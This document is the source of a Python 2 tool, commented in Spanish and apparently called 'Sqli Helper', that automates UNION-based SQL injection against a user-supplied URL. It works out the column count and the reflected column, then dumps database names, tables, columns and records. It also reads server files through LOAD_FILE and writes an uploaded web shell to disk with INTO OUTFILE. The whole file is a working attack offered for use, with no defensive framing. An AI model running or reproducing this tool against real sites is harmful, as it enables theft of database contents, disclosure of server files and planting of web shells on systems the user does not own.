#!/usr/bin/python2
# -*- coding: utf-8 -*-
#11Sep
import urllib, os, sys, time, re
# Menu
def menu():
print '''
Opciones:
1. Sacar Tablas por limit.
2. Sacar Tablas por Group_concat().
3. Sacar Columnas por Limit.
4. Sacar columnas por Group_concat().
5. Sacar Registros.
6. Dumpear Shell.
7. Cargar archivos (read_file).
8. Salir.
'''
# Limpiamos la terminal dependiendo del SO
def limpiar():
if sys.platform == 'win32':
os.system('cls')
else:
os.system('clear')
if not os.path.isdir(RUTA +'/logs'):
os.mkdir(RUTA +'/logs')
# Funcion para guardar el log
def guardar(datos):
tmp = open(RUTA + '/logs/%s.txt' % host, 'a')
tmp.write(datos+'\r')
tmp.close()
# Convertir String a Hexadecimal
def hexadecimal(palabra):
tmp=''
for i in palabra:
tmp+=hex(ord(i))
return '0x'+str(tmp.replace('0x', ''))
# Dumpear archivos
def dumpear():
shell = raw_input('Ingrese el codigo de la shell > ')
ruta = raw_input('Ingrese la ruta del archivo (este no puede estar repetido) > ')
shell = shell.replace('\'', '\"')
shell = urllib.quote('\'%s\'' % shell)
ruta = urllib.quote('\'%s\'' % ruta)
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-', shell)
inyeccion += '+INTO+OUTFILE+%s+--' % ruta
tmp = urllib.urlopen(URL + inyeccion).read()
print 'Revise la ruta para verificar qeu se subio la shell'
raw_input()
# Cargar Archivos
def loadfile():
ruta = raw_input('Ingrese la ruta del archivo a cargar > ')
ruta = urllib.quote('\'%s\'' % ruta)
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d494e4943494f2d,LOAD_FILE+(%s),0x2d494e4943494f2d)' % ruta) # -INICIO-
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-INICIO-')
if (len(tmp) < 2):
print 'No se pudo leer el archivo'
else:
archivo = open(RUTA + '/logs/%sdump.txt' % host, 'a')
archivo.write('\r\n[+] ' + URL + ruta)
archivo.write(tmp[1])
archivo.write('\r\n[-] ' + URL + ruta)
archivo.close()
print 'Revise en la carpeta logs el archivo: %sdump.txt' % host
raw_input()
# Hallar el numero de columnas
def hallar():
error = ('unknown column','mysql_fetch_row','mysql_fetch_assoc','mysql_fetch_array','mysql_numrows')
for y in range(1,100):
inyeccion ='+order+by+%s+--' % str(y)
tmp = urllib.urlopen(URL + inyeccion).read().lower()
for i in error:
if i in tmp:
print '[+] \t <!-- La aplicacion usa %s columnas -->' % str(y - 1)
guardar('\t <!-- La aplicacion usa %s columnas -->' % str(y - 1))
return y - 1
print 'Escaneadas 100 Columnas'
exit()
# Hallar la columna vulnerable
def vulnerable():
inyeccion = '+and+1=0+union+all+select+'
for i in range(1, colvul + 1):
inyeccion += hexadecimal('-COLUMNA%s-' % str(i)) + ','
inyeccion = inyeccion[:len(inyeccion)-1]
inyeccion += '+from+information_schema.tables+--'
for i in range(1, colvul + 1):
tmp = urllib.urlopen(URL + inyeccion).read()
if '-COLUMNA%s-' % str(i) in tmp:
print '\t <!-- Columna vulnerable encontrada en: %s -->' % str(i)
guardar('\t <!-- Columna vulnerable encontrada en: %s -->' % str(i))
inyeccion = inyeccion.replace(hexadecimal('-COLUMNA%s-' % str(i)), 'table_name', 1) #-TABLAS-
tmp = urllib.urlopen(URL + inyeccion).read()
if 'CHARACTER_SETS' in tmp:
inyeccion = inyeccion.replace('table_name', '-VULNERABLE-', 1)
inyeccion = inyeccion.replace('+from+information_schema.tables+--', '')
return inyeccion
print 'No se encontraron columnas vulnerables'
exit()
# Hallar datos relevantes
def datos():
inyeccion=inj
# Usuario
inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d534550415241444f522d,user(),0x2d534550415241444f522d)')#-SEPARADOR-
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-SEPARADOR-')
print '\r\n\t <!-- El usuario es %s -->' % str(tmp[1])
guardar('\r\n\t <!-- El Usuario es: %s -->'% str(tmp[1]))
# Base de Datos
inyeccion = inyeccion.replace('user()','database()')
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-SEPARADOR-')
print '\t <!-- La BD es: %s -->' % str(tmp[1])
guardar('\t <!-- La BD es: %s -->'% str(tmp[1]))
# Version MySQL
inyeccion = inyeccion.replace('database()','version()')
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-SEPARADOR-')
print '\t <!-- La version de MySQL es: %s -->\r\n'% str(tmp[1])
guardar('\t <!-- La version de MySQL es: %s -->\r\n'% str(tmp[1]))
# Sacar Tablas por Limit
def tablaslimit():
try:
print '\t <!-- Buscando Tablas por Limit -->'
guardar('\t <!-- Buscando Tablas por Limit -->')
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d5441424c41533a2d,table_name,0x2d5441424c41533a2d)') #-TABLAS:-
inyeccion += '+from+information_schema.tables+limit+-1,1+--'
contador = 0
while True:
inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-TABLAS:-')
if len(tmp) < 2:
print '\t <!-- %s Tablas Encontradas -->' % str(contador)
guardar('\t <!-- %s Tablas Encontradas -->' % str(contador))
break
else:
print tmp[1]
guardar(tmp[1])
contador += 1
raw_input()
except KeyboardInterrupt:
return()
#Sacar Tablas por Group
def tablasgroup():
print '\t <!-- Buscando Columnas por Group -->'
guardar('\t <!-- Buscando Columnas por Group -->')
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d5441424c41533a2d,replace(group_concat(table_name),0x2c,0x3c62723e),0x2d5441424c41533a2d)') #-TABLAS:-
inyeccion += '+from+information_schema.tables+--'
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-TABLAS:-')
tmp[1] = tmp[1].replace('<br>','\n')
print tmp[1]
guardar(tmp[1])
tmp = len(tmp[1].split('\n'))
print '\t <!-- %i Tablas Encontradas -->' % tmp
guardar('\t <!-- %i Tablas Encontradas -->' % tmp)
raw_input()
# Sacar Columnas dependiendo de la tabla por limit
def columnaslimit(tabla):
print '\r\n\t <!-- Buscando Columnas de la Tabla: %s por Limit -->' % tabla
guardar('\r\n\t <!-- Buscando Columnas de la Tabla: %s por Limit -->' % tabla)
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d434f4c554d4e41533a2d,column_name,0x2d434f4c554d4e41533a2d)')#-COLUMNAS:-
inyeccion += '+from+information_schema.columns+where+table_name=%s+limit+-1,1+--' % hexadecimal(tabla)
contador = 0
while True:
inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-COLUMNAS:-')
if len(tmp) < 2:
print '\t <!-- %s Columnas encontradas en la Tabla %s -->' % (str(contador), tabla)
guardar('\t <!-- %s Columnas encontradas en la Tabla %s -->' % (str(contador), tabla))
break
else:
print tmp[1]
guardar(tmp[1])
contador += 1
raw_input()
# Sacar Columnas Dependiendo de la tabla por Group
def columnasgroup(tabla):
print '\r\n\t <!-- Buscando columnas de la Tabla %s por Group_concat() -->' % tabla
guardar('\r\n\t <!-- Buscando columnas de la Tabla %s por Group_concat() -->' % tabla)
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d434f4c554d4e41533a2d,replace(group_concat(column_name),0x2c,0x3c62723e),0x2d434f4c554d4e41533a2d)')#-COLUMNAS:-
inyeccion += '+from+information_schema.columns+where+table_name=%s+--' % hexadecimal(tabla)
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-COLUMNAS:-')
tmp[1] = tmp[1].replace('<br>','\n')
print tmp[1]
guardar(tmp[1])
tmp = len(tmp[1].split('\n'))
print '\t <!-- %s Columnas encontradas en la Tabla: %s -->' % (str(tmp), tabla)
guardar('\t <!-- %s Columnas encontradas en la Tabla: %s -->' % (str(tmp), tabla))
raw_input()
# Sacar Registros de la columna
def registros():
columna = raw_input('Ingrese el nombre de la Tabla > ')
registro = raw_input('Ingrese el nombre del campo(s) > ')
print '\r\n\t <!-- sacando Registros de la Columna: %s -->' % columna
guardar('\r\n\t <!-- sacando Registros de la Columna: %s -->' % columna)
registro = registro.replace(' ','')
registro = registro.split(',')
reg = ''
for i in registro:
reg += '%s,%s,' % (hexadecimal(' %s:' % i), i)
inyeccion = inj
inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d534550415241444f523a2d,%s0x2d534550415241444f523a2d)' % reg)#-SEPARADOR:-
inyeccion += '+from+%s+limit+-1,1+--' % columna
contador = 0
while True:
inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
tmp = urllib.urlopen(URL + inyeccion).read()
tmp = tmp.split('-SEPARADOR:-')
if len(tmp) < 2:
print '\t <!-- %i Registros encontrados en la columna: %s -->' % (contador, columna)
guardar('\t <!-- %i Registros encontrados en la columna: %s -->' % (contador, columna))
break
else:
print tmp[1]
guardar(tmp[1])
contador += 1
raw_input()
# ######################### #
# #
# INICIO #
# #
# ######################### #
#Inyeccion Original remplazar -VULNERABLE-
# buscamos nuestra ruta
RUTA = sys.path[0]
# Limpiamos la terminal
limpiar()
print r'''
____ ___
/\ _`\ /\_ \ __
\ \,\L\_\ __ \//\ \ /\_\
\/_\__ \ /'__`\ \ \ \ \/\ \
/\ \L\ \/\ \L\ \ \_\ \_\ \ \
\ `\____\ \___, \/\____\\ \_\
\/_____/\/___/\ \/____/ \/_/
\ \_\
\/_/
__ __ ___ ____
/\ \/\ \ /\_ \ /\ _`\
\ \ \_\ \ __\//\ \ _____ __\ \ \L\ \
\ \ _ \ /'__`\\ \ \ /\ '__`\ /'__`\ \ , /
\ \ \ \ \/\ __/ \_\ \_\ \ \L\ \/\ __/\ \ \\ \
\ \_\ \_\ \____\/\____\\ \ ,__/\ \____\\ \_\ \_\
\/_/\/_/\/____/\/____/ \ \ \/ \/____/ \/_/\/ /
\ \_\
\/_/
'''
URL = raw_input('[+] Ingrese la url > ')
if re.match('^http://.+', URL.lower()):
host = URL.split('/')[2]
else:
print 'Uso: http://web/pagina?variable=datos'
exit()
print '[+] [%s] Inicio Buscando en: %s [+]' % (str(time.ctime()), host)
guardar('\r\n\t [+] Escan realizado: %s [+]' % str(time.ctime()))
guardar(URL)
# Buscanmos la cantidad de columnas
colvul = hallar()
# Buscamos la columna vulnerable, la que printea los datos de la BD
inj = vulnerable()
# Datos, Verion de MySQL, Usuario, BD
datos()
while True:
menu()
opt = raw_input('Ingrese la opcion > ')
if opt == '1':
tablaslimit()
elif opt == '2':
tablasgroup()
elif opt == '3':
columnaslimit(raw_input('Ingrese el nombre de la tabla > '))
elif opt == '4':
columnasgroup(raw_input('Ingrese el nombre de la tabla > '))
elif opt == '5':
registros()
elif opt == '6':
dumpear()
elif opt == '7':
loadfile()
elif opt == '8':
break
else:
print 'Opcion incorrecta'
continue
print '[-] [%s] Finalizado. [-]' % str(time.ctime())
guardar('[-] [%s] Finalizado. [-]' % str(time.ctime()))